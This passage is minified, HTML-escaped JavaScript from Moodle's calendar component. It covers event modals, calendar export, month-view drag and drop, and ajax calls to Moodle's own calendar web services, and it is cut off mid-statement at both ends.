isExisting=this.hasEventId();this.hide(),isExisting?$(&quot;body&quot;).trigger(CalendarEvents.updated,[response.event]):$(&quot;body&quot;).trigger(CalendarEvents.created,[response.event])}}.bind(this)).always(function(){loadingContainer.addClass(&quot;hidden&quot;),this.enableButtons()}.bind(this)).fail(Notification.exception)},ModalEventForm.prototype.registerEventListeners=function(){Modal.prototype.registerEventListeners.call(this),this.getModal().on(CustomEvents.events.activate,SELECTORS_SAVE_BUTTON,function(e,data){this.getForm().submit(),data.originalEvent.preventDefault(),e.stopPropagation()}.bind(this)),this.getModal().on(&quot;submit&quot;,function(e){FormEvents.notifyFormSubmittedByJavascript(this.getForm()[0]),this.save(),e.preventDefault(),e.stopPropagation()}.bind(this))},registered||(ModalRegistry.register(ModalEventForm.TYPE,ModalEventForm,&quot;calendar/modal_event_form&quot;),registered=!0),ModalEventForm}));
define(&quot;core_calendar/export&quot;,[&quot;exports&quot;,&quot;core/copy_to_clipboard&quot;],(function(_exports,_copy_to_clipboard){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0;
/**
   * A javascript module to enhance the calendar export form.
   *
   * @module     core_calendar/export
   * @copyright  2021 Jun Pataleta
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const selectors_copyUrlId=&quot;copyexporturl&quot;;_exports.init=()=&gt;{const copyUrl=document.getElementById(selectors_copyUrlId);copyUrl.removeAttribute(&quot;disabled&quot;),copyUrl.focus()}}));
/**
 * A javascript module to handle calendar drag and drop in the calendar
 * month view navigation.
 *
 * This code is run each time the calendar month view is re-rendered. We
 * only register the event handlers once per page load so that the in place
 * DOM updates that happen on month change don&#039;t continue to register handlers.
 *
 * @module     core_calendar/month_navigation_drag_drop
 * @copyright  2017 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/month_navigation_drag_drop&quot;,[&quot;jquery&quot;,&quot;core_calendar/drag_drop_data_store&quot;],(function($,DataStore){var SELECTORS_DRAGGABLE=&#039;[draggable=&quot;true&quot;][data-region=&quot;event-item&quot;]&#039;,SELECTORS_DROP_ZONE=&#039;[data-drop-zone=&quot;nav-link&quot;]&#039;,registered=!1,hoverTimer=null,root=null,updateHoverState=function(target,hovered){hovered?target.addClass(&quot;bg-primary text-white&quot;):target.removeClass(&quot;bg-primary text-white&quot;)},addDropZoneIndicator=function(){root.find(SELECTORS_DROP_ZONE).addClass(&quot;drop-target&quot;)},removeDropZoneIndicator=function(){root.find(SELECTORS_DROP_ZONE).removeClass(&quot;drop-target&quot;)},getTargetFromEvent=function(e){var target=$(e.target).closest(SELECTORS_DROP_ZONE);return target.length?target:null},dragstartHandler=function(e){$(e.target).closest(SELECTORS_DRAGGABLE).length&amp;&amp;addDropZoneIndicator()},dragoverHandler=function(e){if(DataStore.hasEventId()){e.preventDefault();var target=getTargetFromEvent(e);target&amp;&amp;DataStore.hasEventId()&amp;&amp;(hoverTimer||(hoverTimer=setTimeout((function(){target.click(),hoverTimer=null}),1e3)),updateHoverState(target,!0),removeDropZoneIndicator())}},dragleaveHandler=function(e){if(DataStore.hasEventId()){var target=getTargetFromEvent(e);target&amp;&amp;(hoverTimer&amp;&amp;(clearTimeout(hoverTimer),hoverTimer=null),updateHoverState(target,!1),addDropZoneIndicator(),e.preventDefault())}},dropHandler=function(e){if(DataStore.hasEventId()){removeDropZoneIndicator();var target=getTargetFromEvent(e);target&amp;&amp;(updateHoverState(target,!1),e.preventDefault())}};return{init:function(rootElement){registered||(document.addEventListener(&quot;dragstart&quot;,dragstartHandler,!1),document.addEventListener(&quot;dragover&quot;,dragoverHandler,!1),document.addEventListener(&quot;dragleave&quot;,dragleaveHandler,!1),document.addEventListener(&quot;drop&quot;,dropHandler,!1),document.addEventListener(&quot;dragend&quot;,removeDropZoneIndicator,!1),registered=!0),root=$(rootElement),DataStore.hasEventId()&amp;&amp;addDropZoneIndicator()}}}));
define(&quot;core_calendar/repository&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * A javascript module to handle calendar ajax actions.
   *
   * @module     core_calendar/repository
   * @copyright  2017 Simey Lameze &lt;lameze@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.updateEventStartDay=_exports.submitCreateUpdateForm=_exports.getEventById=_exports.getCourseGroupsData=_exports.getCalendarUpcomingData=_exports.getCalendarMonthData=_exports.getCalendarDayData=_exports.deleteSubscription=_exports.deleteEvent=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.deleteEvent=function(eventId){let deleteSeries=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]&amp;&amp;arguments[1];const request={methodname:&quot;core_calendar_delete_calendar_events&quot;,args:{events:[{eventid:eventId,repeat:deleteSeries}]}};return _ajax.default.call([request])[0]};_exports.getEventById=eventId=&gt;{const request={methodname:&quot;core_calendar_get_calendar_event_by_id&quot;,args:{eventid:eventId}};return _ajax.default.call([request])[0]};_exports.submitCreateUpdateForm=formData=&gt;{const request={methodname:&quot;core_calendar_submit_create_update_form&quot;,args:{formdata:formData}};return _ajax.default.call([request])[0]};_exports.getCalendarMonthData=function(year,month,courseId,categoryId,includeNavigation,mini){let day=arguments.length&gt;6&amp;&amp;void 0!==arguments[6]?arguments[6]:1,view=arguments.length&gt;7&amp;&amp;void 0!==arguments[7]?arguments[7]:&quot;month&quot;;const request={methodname:&quot;core_calendar_get_calendar_monthly_view&quot;,args:{year:year,month:month,courseid:courseId,categoryid:categoryId,includenavigation:includeNavigation,mini:mini,day:day,view:view}};return _ajax.default.call([request])[0]};_exports.getCalendarDayData=(year,month,day,courseId,categoryId)=&gt;{const request={methodname:&quot;core_calendar_get_calendar_day_view&quot;,args:{year:year,month:month,day:day,courseid:courseId,categoryid:categoryId}};return _ajax.default.call([request])[0]};_exports.updateEventStartDay=(eventId,dayTimestamp)=&gt;{const request={methodname:&quot;core_calendar_update_event_start_day&quot;,args:{eventid:eventId,daytimestamp:dayTimestamp}};return _ajax.default.call([request])[0]};_exports.getCalendarUpcomingData=(courseId,categoryId)=&gt;{const request={methodname:&quot;core_calendar_get_calendar_upcoming_view&quot;,args:{courseid:courseId,categoryid:categoryId}};return _ajax.default.call([request])[0]};_exports.getCourseGroupsData=courseId=&gt;{const request={methodname:&quot;core_group_get_course_groups&quot;,args:{courseid:courseId}};return _ajax.default.call([request])[0]};_exports.deleteSubscription=subscriptionId=&gt;{const request={methodname:&quot;core_calendar_delete_subscription&quot;,args:{subscriptionid:subscriptionId}};return _ajax.default.call([request])[0]}}));
/**
 * A javascript module to store calendar drag and drop data.
 *
 * This module is unfortunately required because of the limitations
 * of the HTML5 drag and drop API and it&#039;s ability to provide data
 * between the different stages of the drag/drop lifecycle.
 *
 * @module     core_calendar/drag_drop_data_store
 * @copyright  2017 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/drag_drop_data_store&quot;,[],(function(){var eventId=null,durationDays=null,minTimestart=null,maxTimestart=null,minError=null,maxError=null,setEventId=function(id){eventId=id},setDurationDays=function(days){durationDays=days},setMinTimestart=function(timestamp){minTimestart=timestamp},setMaxTimestart=function(timestamp){maxTimestart=timestamp},setMinError=function(message){minError=message},setMaxError=function(message){maxError=message};return{setEventId:setEventId,getEventId:function(){return eventId},hasEventId:function(){return null!==eventId},setDurationDays:setDurationDays,getDurationDays:function(){return durationDays},setMinTimestart:setMinTimestart,getMinTimestart:function(){return minTimestart},hasMinTimestart:function(){return null!==minTimestart},setMaxTimestart:setMaxTimestart,getMaxTimestart:function(){return maxTimestart},hasMaxTimestart:function(){return null!==maxTimestart},setMinError:setMinError,getMinError:function(){return minError},setMaxError:setMaxError,getMaxError:function(){return maxError},clearAll:function(){setEventId(null),setDurationDays(null),setMinTimestart(null),setMaxTimestart(null),setMinError(null),setMaxError(null)}}}));
/**
 * A javascript module to handle calendar drag and drop in the calendar
 * month view.
 *
 * @module     core_calendar/month_view_drag_drop
 * @copyright  2017 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/month_view_drag_drop&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core_calendar/events&quot;,&quot;core_calendar/drag_drop_data_store&quot;],(function($,Notification,Str,CalendarEvents,DataStore){var SELECTORS_ROOT=&quot;[data-region=&#039;calendar&#039;]&quot;,SELECTORS_DRAGGABLE=&#039;[draggable=&quot;true&quot;][data-region=&quot;event-item&quot;]&#039;,SELECTORS_DROP_ZONE=&#039;[data-drop-zone=&quot;month-view-day&quot;]&#039;,SELECTORS_WEEK=&#039;[data-region=&quot;month-view-week&quot;]&#039;,ALL_CLASSES=&quot;bg-faded bg-danger text-white bg-primary text-white&quot;,registered=!1,getDropZoneFromEvent=function(e){var dropZone=$(e.target).closest(SELECTORS_DROP_ZONE);return dropZone.length?dropZone:null},isValidDropZone=function(dropZone){var dropTimestamp=dropZone.attr(&quot;data-day-timestamp&quot;),minTimestart=DataStore.getMinTimestart(),maxTimestart=DataStore.getMaxTimestart();return!(minTimestart&amp;&amp;minTimestart&gt;dropTimestamp)&amp;&amp;!(maxTimestart&amp;&amp;maxTimestart&lt;dropTimestamp)},clearAllDropZonesState=function(){$(SELECTORS_ROOT).find(SELECTORS_DROP_ZONE).each((function(index,dropZone){(dropZone=$(dropZone)).removeClass(ALL_CLASSES)}))},updateHoverState=function(dropZone,hovered,count){void 0===count&amp;&amp;(count=DataStore.getDurationDays());var valid=isValidDropZone(dropZone);if(dropZone.removeClass(ALL_CLASSES),hovered?valid?dropZone.addClass(&quot;bg-primary text-white&quot;):dropZone.addClass(&quot;bg-danger text-white&quot;):(dropZone.removeClass(&quot;bg-primary text-white bg-danger text-white&quot;),valid||dropZone.addClass(&quot;bg-faded&quot;)),--count&gt;0){var nextDropZone=dropZone.next();if(!nextDropZone.length){var nextWeek=dropZone.closest(SELECTORS_WEEK).next();nextWeek.length&amp;&amp;(nextDropZone=nextWeek.children(SELECTORS_DROP_ZONE).first())}nextDropZone.length&amp;&amp;updateHoverState(nextDropZone,hovered,count)}},updateAllDropZonesState=function(){$(SELECTORS_ROOT).find(SELECTORS_DROP_ZONE).each((function(index,dropZone){dropZone=$(dropZone),isValidDropZone(dropZone)||updateHoverState(dropZone,!1)}))},dragstartHandler=function(e){var draggableElement=$(e.target).closest(SELECTORS_DRAGGABLE);if(draggableElement.length){var eventId=draggableElement.find(&quot;[data-event-id]&quot;).attr(&quot;data-event-id&quot;),minTimestart=draggableElement.attr(&quot;data-min-day-timestamp&quot;),maxTimestart=draggableElement.attr(&quot;data-max-day-timestamp&quot;),minError=draggableElement.attr(&quot;data-min-day-error&quot;),maxError=draggableElement.attr(&quot;data-max-day-error&quot;),duration=$(SELECTORS_ROOT+&#039; [data-event-id=&quot;&#039;+eventId+&#039;&quot;]&#039;).length;DataStore.setEventId(eventId),DataStore.setDurationDays(duration),minTimestart&amp;&amp;DataStore.setMinTimestart(minTimestart),maxTimestart&amp;&amp;DataStore.setMaxTimestart(maxTimestart),minError&amp;&amp;DataStore.setMinError(minError),maxError&amp;&amp;DataStore.setMaxError(maxError),e.dataTransfer.effectAllowed=&quot;move&quot;,e.dataTransfer.dropEffect=&quot;move&quot;,e.dataTransfer.setData(&quot;text/plain&quot;,eventId),e.dropEffect=&quot;move&quot;,updateAllDropZonesState()}},dragoverHandler=function(e){if(DataStore.hasEventId()){e.preventDefault();var dropZone=getDropZoneFromEvent(e);dropZone&amp;&amp;updateHoverState(dropZone,!0)}},dragleaveHandler=function(e){if(DataStore.hasEventId()){var dropZone=getDropZoneFromEvent(e);dropZone&amp;&amp;(updateHoverState(dropZone,!1),e.preventDefault())}},dropHandler=function(e){if(DataStore.hasEventId()){var dropZone=getDropZoneFromEvent(e);if(!dropZone)return DataStore.clearAll(),void clearAllDropZonesState();if(isValidDropZone(dropZone)){var eventId=DataStore.getEventId(),eventElement=$(SELECTORS_ROOT+&#039; [data-event-id=&quot;&#039;+eventId+&#039;&quot;]&#039;),origin=null;eventElement.length&amp;&amp;(origin=eventElement.closest(SELECTORS_DROP_ZONE)),$(&quot;body&quot;).trigger(CalendarEvents.moveEvent,[eventId,origin,dropZone])}else{var message=function(dropZone){var dropTimestamp=dropZone.attr(&quot;data-day-timestamp&quot;),minTimestart=DataStore.getMinTimestart(),maxTimestart=DataStore.getMaxTimestart();return minTimestart&amp;&amp;minTimestart&gt;dropTimestamp?DataStore.getMinError():maxTimestart&amp;&amp;maxTimestart&lt;dropTimestamp?DataStore.getMaxError():null}(dropZone);Str.get_string(&quot;errorinvaliddate&quot;,&quot;calendar&quot;).then((function(string){Notification.exception({name:string,message:message||string})}))}DataStore.clearAll(),clearAllDropZonesState(),e.preventDefault()}},dragendHandler=function(){DataStore.clearAll(),clearAllDropZonesState()},calendarMonthChangedHandler=function(){updateAllDropZonesState()};return{init:function(){registered||(document.addEventListener(&quot;dragstart&quot;,dragstartHandler,!1),document.addEventListener(&quot;dragover&quot;,dragoverHandler,!1),document.addEventListener(&quot;dragleave&quot;,dragleaveHandler,!1),document.addEventListener(&quot;drop&quot;,dropHandler,!1),document.addEventListener(&quot;dragend&quot;,dragendHandler,!1),$(&quot;body&quot;).on(CalendarEvents.monthChanged,calendarMonthChangedHandler),registered=!0)}}}));
/**
 * A javascript module to handle summary modal.
 *
 * @module     core_calendar/summary_modal
 * @copyright  2017 Simey Lameze &lt;simey@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/summary_modal&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/modal&quot;,&quot;core/modal_registry&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core_calendar/repository&quot;,&quot;core_calendar/events&quot;,&quot;core_calendar/crud&quot;],(function($,Str,Notification,CustomEvents,Modal,ModalRegistry,ModalFactory,ModalEvents,CalendarRepository,CalendarEvents,CalendarCrud){var registered=!1,SELECTORS_ROOT=&quot;[data-region=&#039;summary-modal-container&#039;]&quot;,SELECTORS_EDIT_BUTTON=&#039;[data-action=&quot;edit&quot;]&#039;,SELECTORS_DELETE_BUTTON=&#039;[data-action=&quot;delete&quot;]&#039;,ModalEventSummary=function(root){Modal.call(this,root)};return ModalEventSummary.TYPE=&quot;core_calendar-event_summary&quot;,(ModalEventSummary.prototype=Object.create(Modal.prototype)).constructor=ModalEventSummary,ModalEventSummary.prototype.getEditButton=function(){return void 0===this.editButton&amp;&amp;(this.editButton=this.getFooter().find(SELECTORS_EDIT_BUTTON)),this.editButton},ModalEventSummary.prototype.getDeleteButton=function(){return void 0===this.deleteButton&amp;&amp;(this.deleteButton=this.getFooter().find(SELECTORS_DELETE_BUTTON)),this.deleteButton},ModalEventSummary.prototype.getEventId=function(){return this.getBody().find(SELECTORS_ROOT).attr(&quot;data-event-id&quot;)},ModalEventSummary.prototype.getEventTitle=function(){return this.getBody().find(SELECTORS_ROOT).attr(&quot;data-event-title&quot;)},ModalEventSummary.prototype.getEventCount=function(){return this.getBody().find(SELECTORS_ROOT).attr(&quot;data-event-count&quot;)},ModalEventSummary.prototype.getEditUrl=function(){return this.getBody().find(SELECTORS_ROOT).attr(&quot;data-edit-url&quot;)},ModalEventSummary.prototype.isActionEvent=function(){return&quot;true&quot;==this.getBody().find(SELECTORS_ROOT).attr(&quot;data-action-event&quot;)},ModalEventSummary.prototype.registerEventListeners=function(){Modal.prototype.registerEventListeners.call(this),M.util.js_pending(&quot;core_calendar/summary_modal:registerEventListeners:bodyRendered&quot;),this.getRoot().on(ModalEvents.bodyRendered,function(){this.getModal().data({eventTitle:this.getEventTitle(),eventId:this.getEventId(),eventCount:this.getEventCount()}).attr(&quot;data-type&quot;,&quot;event&quot;),CalendarCrud.registerRemove(this.getModal()),M.util.js_complete(&quot;core_calendar/summary_modal:registerEventListeners:bodyRendered&quot;)}.bind(this)),$(&quot;body&quot;).on(CalendarEvents.deleted,function(){this.hide()}.bind(this)),CustomEvents.define(this.getEditButton(),[CustomEvents.events.activate]),this.getEditButton().on(CustomEvents.events.activate,function(e,data){this.isActionEvent()?$(&quot;body&quot;).trigger(CalendarEvents.editActionEvent,[this.getEditUrl()]):$(&quot;body&quot;).trigger(CalendarEvents.editEvent,[this.getEventId()]),this.hide(),e.preventDefault(),e.stopPropagation(),data.originalEvent.preventDefault(),data.originalEvent.stopPropagation()}.bind(this))},registered||(ModalRegistry.register(ModalEventSummary.TYPE,ModalEventSummary,&quot;core_calendar/event_summary_modal&quot;),registered=!0),ModalEventSummary}));
define(&quot;core_calendar/view_manager&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core_calendar/repository&quot;,&quot;core_calendar/events&quot;,&quot;core_calendar/selectors&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core_calendar/summary_modal&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/str&quot;,&quot;core/pending&quot;,&quot;core/prefetch&quot;],(function(_exports,_jquery,_templates,_notification,CalendarRepository,_events,CalendarSelectors,_modal_factory,_modal_events,_summary_modal,_custom_interaction_events,_str,_pending,_prefetch){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * A javascript module to handler calendar view changes.
   *
   * @module     core_calendar/view_manager
   * @copyright  2017 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.updateUrl=_exports.reloadCurrentUpcoming=_exports.reloadCurrentMonth=_exports.reloadCurrentDay=_exports.registerEventListenersForMonthDetailed=_exports.refreshMonthContent=_exports.refreshDayContent=_exports.init=_exports.foldDayEvents=_exports.changeMonth=_exports.changeDay=void 0,_jquery=_interopRequireDefault(_jquery),_templates=_interopRequireDefault(_templates),_notification=_interopRequireDefault(_notification),CalendarRepository=_interopRequireWildcard(CalendarRepository),_events=_interopRequireDefault(_events),CalendarSelectors=_interopRequireWildcard(CalendarSelectors),_modal_factory=_interopRequireDefault(_modal_factory),_modal_events=_interopRequireDefault(_modal_events),_summary_modal=_interopRequireDefault(_summary_modal),_custom_interaction_events=_interopRequireDefault(_custom_interaction_events),_pending=_interopRequireDefault(_pending);const foldDayEvents=()=&gt;{const days=(0,_jquery.default)(CalendarSelectors.elements.monthDetailed).find(CalendarSelectors.day);0!==days.length&amp;&amp;days.each((function(){const dayContainer=(0,_jquery.default)(this),eventsSelector=&quot;&quot;.concat(CalendarSelectors.elements.dateContent,&quot; ul li[data-event-eventtype]&quot;),filteredEventsSelector=&quot;&quot;.concat(CalendarSelectors.elements.dateContent,&#039; ul li[data-event-filtered=&quot;true&quot;]&#039;),moreEventsSelector=&quot;&quot;.concat(CalendarSelectors.elements.dateContent,&#039; [data-action=&quot;view-more-events&quot;]&#039;),events=dayContainer.find(eventsSelector);if(0===events.length)return;const numberOfFiltered=dayContainer.find(filteredEventsSelector).length,numberOfEvents=events.length-numberOfFiltered;let count=1;events.each((function(){const event=(0,_jquery.default)(this);&quot;true&quot;!==event.attr(&quot;data-event-filtered&quot;)?count&gt;5-(5===numberOfEvents?0:1)?(event.attr(&quot;data-event-folded&quot;,&quot;true&quot;),event.hide()):(event.attr(&quot;data-event-folded&quot;,&quot;false&quot;),event.show(),count++):event.attr(&quot;data-event-folded&quot;,&quot;false&quot;)}));const moreEventsLink=dayContainer.find(moreEventsSelector);if(numberOfEvents&gt;5){const numberOfHiddenEvents=numberOfEvents-5+1;moreEventsLink.show(),(0,_str.get_string)(&quot;moreevents&quot;,&quot;calendar&quot;,numberOfHiddenEvents).then((str=&gt;{const link=moreEventsLink.find(&quot;strong a&quot;);return moreEventsLink.attr(&quot;data-event-folded&quot;,&quot;false&quot;),link.text(str),str})).fail()}else moreEventsLink.hide()}))};_exports.foldDayEvents=foldDayEvents;const registerEventListenersForMonthDetailed=pendingId=&gt;{const events=&quot;&quot;.concat(_events.default.viewUpdated);(0,_jquery.default)(&quot;body&quot;).on(events,(function(e){foldDayEvents()})),foldDayEvents(),(0,_jquery.default)(&quot;body&quot;).on(_events.default.filterChanged,(function(e,data){const root=(0,_jquery.default)(CalendarSelectors.elements.monthDetailed),pending=new _pending.default(pendingId),target=root.find(CalendarSelectors.eventType[data.type]),transitionPromise=_jquery.default.Deferred();data.hidden?transitionPromise.then((function(){return target.attr(&quot;data-event-filtered&quot;,&quot;true&quot;),target.hide().promise()})).fail():transitionPromise.then((function(){return target.attr(&quot;data-event-filtered&quot;,&quot;false&quot;),target.show().promise()})).fail(),transitionPromise.then((function(){foldDayEvents()})).always(pending.resolve).fail(),transitionPromise.resolve()}))};_exports.registerEventListenersForMonthDetailed=registerEventListenersForMonthDetailed;const refreshMonthContent=function(root,year,month,courseId,categoryId){let target=arguments.length&gt;5&amp;&amp;void 0!==arguments[5]?arguments[5]:null,template=arguments.length&gt;6&amp;&amp;void 0!==arguments[6]?arguments[6]:&quot;&quot;,day=arguments.length&gt;7&amp;&amp;void 0!==arguments[7]?arguments[7]:1;startLoading(root),target=target||root.find(CalendarSelectors.wrapper),template=template||root.attr(&quot;data-template&quot;),M.util.js_pending([root.get(&quot;id&quot;),year,month,courseId].join(&quot;-&quot;));const includenavigation=root.data(&quot;includenavigation&quot;),mini=root.data(&quot;mini&quot;),viewMode=target.data(&quot;view&quot;);return CalendarRepository.getCalendarMonthData(year,month,courseId,categoryId,includenavigation,mini,day,viewMode).then((context=&gt;_templates.default.render(template,context))).then(((html,js)=&gt;_templates.default.replaceNode(target,html,js))).then((()=&gt;{document.querySelector(&quot;body&quot;).dispatchEvent(new CustomEvent(_events.default.viewUpdated))})).always((()=&gt;(M.util.js_complete([root.get(&quot;id&quot;),year,month,courseId].join(&quot;-&quot;)),stopLoading(root)))).fail(_notification.default.exception)};_exports.refreshMonthContent=refreshMonthContent;const changeMonth=function(root,url,year,month,courseId,categoryId){let day=arguments.length&gt;6&amp;&amp;void 0!==arguments[6]?arguments[6]:1;return refreshMonthContent(root,year,month,courseId,categoryId,null,&quot;&quot;,day).then((function(){url.length&amp;&amp;&quot;#&quot;!==url&amp;&amp;updateUrl(url);for(var _len=arguments.length,args=new Array(_len),_key=0;_key&lt;_len;_key++)args[_key]=arguments[_key];return args})).then((function(){(0,_jquery.default)(&quot;body&quot;).trigger(_events.default.monthChanged,[year,month,courseId,categoryId]);for(var _len2=arguments.length,args=new Array(_len2),_key2=0;_key2&lt;_len2;_key2++)args[_key2]=arguments[_key2];return args}))};_exports.changeMonth=changeMonth;_exports.reloadCurrentMonth=function(root){let courseId=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:0,categoryId=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:0;const year=root.find(CalendarSelectors.wrapper).data(&quot;year&quot;),month=root.find(CalendarSelectors.wrapper).data(&quot;month&quot;),day=root.find(CalendarSelectors.wrapper).data(&quot;day&quot;);return courseId=courseId||root.find(CalendarSelectors.wrapper).data(&quot;courseid&quot;),categoryId=categoryId||root.find(CalendarSelectors.wrapper).data(&quot;categoryid&quot;),refreshMonthContent(root,year,month,courseId,categoryId,null,&quot;&quot;,day).then((function(){(0,_jquery.default)(&quot;body&quot;).trigger(_events.default.courseChanged,[year,month,courseId,categoryId]);for(var _len3=arguments.length,args=new Array(_len3),_key3=0;_key3&lt;_len3;_key3++)args[_key3]=arguments[_key3];return args}))};const refreshDayContent=function(root,year,month,day,courseId,categoryId){let target=arguments.length&gt;6&amp;&amp;void 0!==arguments[6]?arguments[6]:null,template=arguments.length&gt;7&amp;&amp;void 0!==arguments[7]?arguments[7]:&quot;&quot;;startLoading(root),target&amp;&amp;0!=target.length||(target=root.find(CalendarSelectors.wrapper)),template=template||root.attr(&quot;data-template&quot;),M.util.js_pending([root.get(&quot;id&quot;),year,month,day,courseId,categoryId].join(&quot;-&quot;));const includenavigation=root.data(&quot;includenavigation&quot;);return CalendarRepository.getCalendarDayData(year,month,day,courseId,categoryId,includenavigation).then((context=&gt;(context.viewingday=!0,context.showviewselector=!0,_templates.default.render(template,context)))).then(((html,js)=&gt;_templates.default.replaceNode(target,html,js))).then((()=&gt;{document.querySelector(&quot;body&quot;).dispatchEvent(new CustomEvent(_events.default.viewUpdated))})).always((()=&gt;(M.util.js_complete([root.get(&quot;id&quot;),year,month,day,courseId,categoryId].join(&quot;-&quot;)),stopLoading(root)))).fail(_notification.default.exception)};_exports.refreshDayContent=refreshDayContent;_exports.reloadCurrentDay=function(root){let courseId=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:0,categoryId=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:0;const wrapper=root.find(CalendarSelectors.wrapper),year=wrapper.data(&quot;year&quot;),month=wrapper.data(&quot;month&quot;),day=wrapper.data(&quot;day&quot;);return courseId=courseId||root.find(CalendarSelectors.wrapper).data(&quot;courseid&quot;),categoryId=categoryId||root.find(CalendarSelectors.wrapper).data(&quot;categoryid&quot;),refreshDayContent(root,year,month,day,courseId,categoryId)};const changeDay=(root,url,year,month,day,courseId,categoryId)=&gt;refreshDayContent(root,year,month,day,courseId,categoryId).then((function(){url.length&amp;&amp;&quot;#&quot;!==url&amp;&amp;updateUrl(url);for(var _len4=arguments.length,args=new Array(_len4),_key4=0;_key4&lt;_len4;_key4++)args[_key4]=arguments[_key4];return args})).then((function(){(0,_jquery.default)(&quot;body&quot;).trigger(_events.default.dayChanged,[year,month,courseId,categoryId]);for(var _len5=arguments.length,args=new Array(_len5),_key5=0;_key5&lt;_len5;_key5++)args[_key5]=arguments[_key5];return args}));_exports.changeDay=changeDay;const updateUrl=url=&gt;{document.getElementById(CalendarSelectors.fullCalendarView)&amp;&amp;window.history.pushState({},&quot;&quot;,url)};_exports.updateUrl=updateUrl;const startLoading=root=&gt;{root.find(CalendarSelectors.containers.loadingIcon).removeClass(&quot;hidden&quot;)},stopLoading=root=&gt;{root.find(CalendarSelectors.containers.loadingIcon).addClass(&quot;hidden&quot;)},reloadCurrentUpcoming=function(root){let courseId=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:0,categoryId=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:0,target=arguments.length&gt;3&amp;&amp;void 0!==arguments[3]?arguments[3]:null,template=arguments.length&gt;4&amp;&amp;void 0!==arguments[4]?arguments[4]:&quot;&quot;;return startLoading(root),target=target||root.find(CalendarSelectors.wrapper),template=template||root.attr(&quot;data-template&quot;),courseId=courseId||root.find(CalendarSelectors.wrapper).data(&quot;courseid&quot;),categoryId=categoryId||root.find(CalendarSelectors.wrapper).data(&quot;categoryid&quot;),CalendarRepository.getCalendarUpcomingData(courseId,categoryId).then((context=&gt;(context.viewingupcoming=!0,context.showviewselector=!0,_templates.default.render(template,context)))).then(((html,js)=&gt;_templates.default.replaceNode(target,html,js))).then((()=&gt;{document.querySelector(&quot;body&quot;).dispatchEvent(new CustomEvent(_events.default.viewUpdated))})).always((function(){return stopLoading(root)})).fail(_notification.default.exception)};_exports.reloadCurrentUpcoming=reloadCurrentUpcoming;const renderEventSummaryModal=eventId=&gt;{const pendingPromise=new _pending.default(&quot;core_calendar/view_manager:renderEventSummaryModal&quot;);return CalendarRepository.getEventById(eventId).then((getEventResponse=&gt;{if(!getEventResponse.event)throw new Error(&quot;Error encountered while trying to fetch calendar event with ID: &quot;+eventId);return getEventResponse.event})).then((eventData=&gt;{const modalParams={title:eventData.name,type:_summary_modal.default.TYPE,body:_templates.default.render(&quot;core_calendar/event_summary_body&quot;,eventData),templateContext:{canedit:eventData.canedit,candelete:eventData.candelete,headerclasses:(eventType=eventData.normalisedeventtype,&quot;calendar_event_&quot;+eventType),isactionevent:eventData.isactionevent,url:eventData.url,action:eventData.action}};var eventType;return 